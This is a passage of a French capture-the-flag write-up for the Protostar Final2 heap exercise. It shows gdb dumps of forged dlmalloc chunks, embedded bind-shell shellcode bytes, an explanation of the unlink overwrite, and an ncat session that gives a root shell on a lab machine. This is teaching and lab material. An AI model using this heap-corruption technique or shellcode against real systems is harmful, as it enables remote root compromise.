0x804e0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e100: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e110: 0x00000000 0x00000ef1 0x00000000 0x00000000
0x804e120: 0x00000000 0x00000000 0x00000000 0x00000000
0x804e130: 0x00000000 0x00000000 0x00000000 0x00000000
Insertion du shellcode dans le 3ème chunk
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) x/80wx 0x0804e000
0x804e000: 0x00000000 0x00000089 0x44525346 0x41414141
0x804e010: 0x04e11868 0x4141c308 0x41414141 0x41414141
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x522f4141 0x2f544f4f 0xfffffffc 0xfffffffd
0x804e090: 0x0804d410 0x0804e010 0x41414141 0x41414141
0x804e0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e100: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e110: 0x00000000 0x00000089 0xdb31c031 0x80cd17b0 <- shellcode qui commence par 0x31c031db...
0x804e120: 0xe3f7db31 0x435366b0 0x89534353 0x80cd4be1
0x804e130: 0x6652c789 0x43697a68 0xe1895366 0x515010b0
Consolidation du premier chunk avec le second
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
(gdb) x/80wx 0x0804e000
0x804e000: 0x00000000 0x00000085 0x0804d534 0x0804d534
0x804e010: 0x04e11868 0x4141c308 0x0804d410 0x41414141 <-malloc a écrit à stage1_addr+8
0x804e020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e030: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e040: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e050: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e060: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e070: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e080: 0x522f4141 0x00000084 *0xfffffffc 0xfffffffc <- flag prev in use a été mis à 0 par malloc
0x804e090: 0x0804d410 0x0804e010 0x41414141 0x41414141
0x804e0a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e0f0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e100: 0x41414141 0x41414141 0x41414141 0x41414141
0x804e110: 0x00000000 0x00000089 0xdb31c031 0x80cd17b0
0x804e120: 0xe3f7db31 0x435366b0 0x89534353 0x80cd4be1
0x804e130: 0x6652c789 0x43697a68 0xe1895366 0x515010b0
Ce qu’il s’est passé c’est que malloc
a traité le premier chunk puis il est allé voir s’il pouvait le consolider avec le suivant.
Le second chunk est à l’adresse 0x804e088
(voir *
dans le dump) et pour voir s’il était libre il a calculé l’adresse du troisème chunk de cette façon :
0x804e088 + taille du chunk
soit 0x804e088 - 4
car on ment sur la vrai taille du chunk.
L’adresse obtenue correspond aux données suivantes :
1
2
+-- prev size--+-- size & prev in use +---- FD ----+---- BK ----+
+ 0x2f544f4f + 0xfffffffc + 0xfffffffd + 0x0804d410 +
malloc
voit que le précédent chunk (le second) est libre car 0xfffffffc & 1
vaut zéro (le flag prev in use
est à 0), il lance donc la consolidation.
Ca a pour effet d’écrire 0x0804e010
à l’adresse 0x0804d410+0xc
et 0x0804d410
à l’adresse 0x0804e010+0x8
(mécanismes FD et BK de la liste chainée).
Puis il écrit la taille du nouveau chunk libre composé des précédents chunks 1 et 2 soit 0x88 - 0x4 = 0x84
.
A ce stade tout est en place, write
est appelé ce qui fait sauter le programme sur notre stage qui lui même saute sur notre shellcode qui nous ouvre un shell root sur le port 31337 :
1
2
3
4
5
$ ncat 192.168.56.95 31337 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.56.95:31337.
id
uid=0(root) gid=0(root) groups=0(root)
On est les champions ! On est les champions ! On est, on est, on est les champions !
D’autres writeups pour cet exercice :
My Solution to Exploit Exercises Protostar Final2 Level - David Xia
[Live] Remote oldschool dlmalloc Heap exploit - bin 0x1F - YouTube